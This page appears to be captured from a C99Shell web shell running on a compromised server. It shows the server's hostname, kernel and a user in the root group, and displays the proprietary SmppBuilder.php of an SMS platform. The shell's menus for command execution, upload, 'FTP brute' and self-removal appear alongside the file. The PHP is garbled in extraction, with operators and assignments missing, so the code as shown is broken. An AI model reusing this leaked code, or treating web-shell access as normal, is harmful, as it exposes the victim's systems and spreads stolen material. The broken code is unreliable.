!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/SmsProvider/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SmppBuilder.php (7.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\SmsProvider;

use 
App\Events\ProcessSendSuccessEvent;
use 
App\Models\DLTTemplate;
use 
App\Models\DynamicGateway;
use 
App\Models\SenderId;
use 
App\Models\SmsQueue;
// use smpp\{Address, Client as SmppClient,Smpp as SMPP, transport\Socket,};
use Illuminate\Support\Facades\Log;
use 
App\SmsProvider\smpp\SMPP;
use 
App\SmsProvider\smpp\SmppAddress;
use 
App\SmsProvider\smpp\SmppClient;
use 
App\SmsProvider\smpp\SmppTag;
use 
App\SmsProvider\smpp\SocketTransport;
use 
App\SmsProvider\smpp\GsmEncoder;

class 
SmppBuilder
{

    private 
$messages;
    private 
$send_fail=[];
    private 
$message_log;
    private 
$queue;
    private 
$request;
    private 
$sms_type//sms or mms
    /**
     * @var mixed
     */
    
private $gateway;

    public function 
setType($type){
        
$this->sms_type=$type;
        return 
$this;
    }
    public function 
setMessages($messages){
        
$this->messages=$messages;
        return 
$this;
    }
    public function 
setRequest($request)
    {
        
$this->request $request;
        return 
$this;
    }
    public function 
setGateway(int $gatewayId){
        if(
$gatewayId){
            
$this->gateway=DynamicGateway::find($gatewayId);
        }
        return 
$this;
    }

    public function 
sendMessage()
    {

        
$gateway=$this->gateway;
        
$request $this->request;
        if(!
$gateway){
            throw new 
\Exception('gateway not found for smpp');
        }
        
$parameters = [];
        if (
$gateway->inputs) {
            foreach (
json_decode($gateway->inputs) as $key => $gt) {
                
$parameters[$key] = $gt;
            }
        }

        if(!isset(
$parameters['smpp_ip_address']) || !isset($parameters['smpp_username']) || !isset($parameters['smpp_password']) || !isset($parameters['smpp_port'])){
            throw new 
\Exception('Provider Not Configured');
        }

        
// $transport = new Socket(array($parameters['smpp_ip_address']),(int) $parameters['smpp_port']);
        
$transport = new SocketTransport(array($parameters['smpp_ip_address']), $parameters['smpp_port']);
        
$transport->setRecvTimeout(10000);
        
$transport->setSendTimeout(10000);
        
// $transport->debug = true;
        // $transport->open();

        // SmppClient::$smsNullTerminateOctetstrings = false;
        // Socket::$forceIpv4                        = true;
        // SmppClient::$csmsMethod                   = SmppClient::CSMS_8BIT_UDH;
        // SmppClient::$smsRegisteredDeliveryFlag    = SMPP::REG_DELIVERY_SMSC_BOTH;
        // SmppClient::$smsNullTerminateOctetstrings = false;

        
$smpp =new SmppClient($transport);

        
// if (isset($request['dlt_template_id']) && isset($request['entity_id'])){
        //     $dlt_templates = DLTTemplate::where('customer_id',$request['customer_id'])->where('dlt_template_id',$request['dlt_template_id'])->first();
        //     $dlt_entities = SenderId::where('customer_id',$request['customer_id'])->where('entity_id',$request['entity_id'])->first();
        // }

        
$smpp->debug false;
        
$transport->debug false;
        
$transport->open();


        
$smpp->bindTransmitter($parameters['smpp_username'], $parameters['smpp_password']);
        
        
SmppClient::$sms_null_terminate_octetstrings false;
        
SmppClient::$csms_method SmppClient::CSMS_PAYLOAD;
        
SmppClient::$sms_registered_delivery_flag Smpp::REG_DELIVERY_SMSC_BOTH;

        
$smsQueues=collect([]);
        foreach(
$this->messages as $queue){
            
$from=$queue->from;
            
$to=str_replace("+","",$queue->to);
            
$body=$queue->body;
            if (
ctype_digit($from) && strlen($from) <= 8) {
                
$from = new SmppAddress($fromSMPP::TON_NETWORKSPECIFIC);
            } elseif (
ctype_digit($from) && (strlen($from) <= 15 && strlen($from) >= 10)) {
                
$from = new SmppAddress($fromSMPP::TON_INTERNATIONALSMPP::NPI_E164);
            } else {
                
$from = new SmppAddress($fromSMPP::TON_ALPHANUMERIC);
            }
    
            
$to = new SmppAddress($toSMPP::TON_INTERNATIONALSMPP::NPI_E164);
            
$tags '';
            if (isset(
$request['dlt_template_id']) && isset($request['dlt_template_id'][$queue->id]) && isset($request['entity_id']) && isset($request['entity_id'][$queue->id])){
                
$dlt_templates DLTTemplate::where('customer_id',$queue->customer_id)->where('dlt_template_id',$request['dlt_template_id'][$queue->id])->first();
                
$dlt_entities SenderId::where('customer_id',$queue->customer_id)->where('entity_id',$request['entity_id'][$queue->id])->first();

                
$tags = array(
                    new 
SmppTag(0x1400$dlt_entities->entity_id ?? ""),//your_pe_id),
                    
new SmppTag(0x1401$dlt_templates->dlt_template_id ?? ""//your_template_id)
                
);
            }
            
// dd($tags);
            
try{
                
$output $smpp->sendSMS($from$to$body$tags);
                if(
$output){
                    
$smsQueues->push([
                        
'id'=>$queue->id,
                        
'sms_gateway_message_id'=>$output,
                        
'delivered_at'=>now()
                    ]);
                }else{
                    
$this->setSendFail([
                        
'queue_id' => $queue->id,
                        
'customer_id' => $queue->customer_id,
                        
'to' => $queue->to,
                        
'from' => $queue->from,
                        
'sms_count'=>$this->countTotalSms($body),
                        
'reason' => "empty response id",
                    ]);
                }
            }catch(
\Exception $ex){
                
$this->setSendFail([
                    
'queue_id' => $queue->id,
                    
'customer_id' => $queue->customer_id,
                    
'to' => $queue->to,
                    
'from' => $queue->from,
                    
'sms_count'=>$this->countTotalSms($body),
                    
'reason' => $ex->getMessage(),
                ]);
            }
        }
        
// Close connection
       
$smpp->close();
        if(
$smsQueues->isNotEmpty()){
            foreach(
$smsQueues->chunk(100) as $smsQueueChunks){
                
ProcessSendSuccessEvent::dispatch($smsQueueChunks);
            }
        }
        
    }

    public function 
get_failed_sms()
    {
        return 
$this->send_fail;
    }

    private function 
setSendFail($sendFailArray)
    {
        
$this->send_fail[] = $sendFailArray;
    }

    private function 
countTotalSms($requestCharacters){
        
$totalCount=1;
        
$characters=mb_strlen($requestCharacters"UTF-8");
        if (
strlen($requestCharacters) != strlen(utf8_decode($requestCharacters))) {
            if(
$characters && $characters 70){
                
$grandTotal=ceil($characters 70);
                if(
$grandTotal 1)
                    
$totalCount$grandTotal 1;
            }
        }else {
            if(
$characters && $characters 160){
                
$grandTotal=ceil($characters 160);
                if(
$grandTotal 1)
                    
$totalCount$grandTotal;
            }
        }
        return 
$totalCount;
    }
    
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--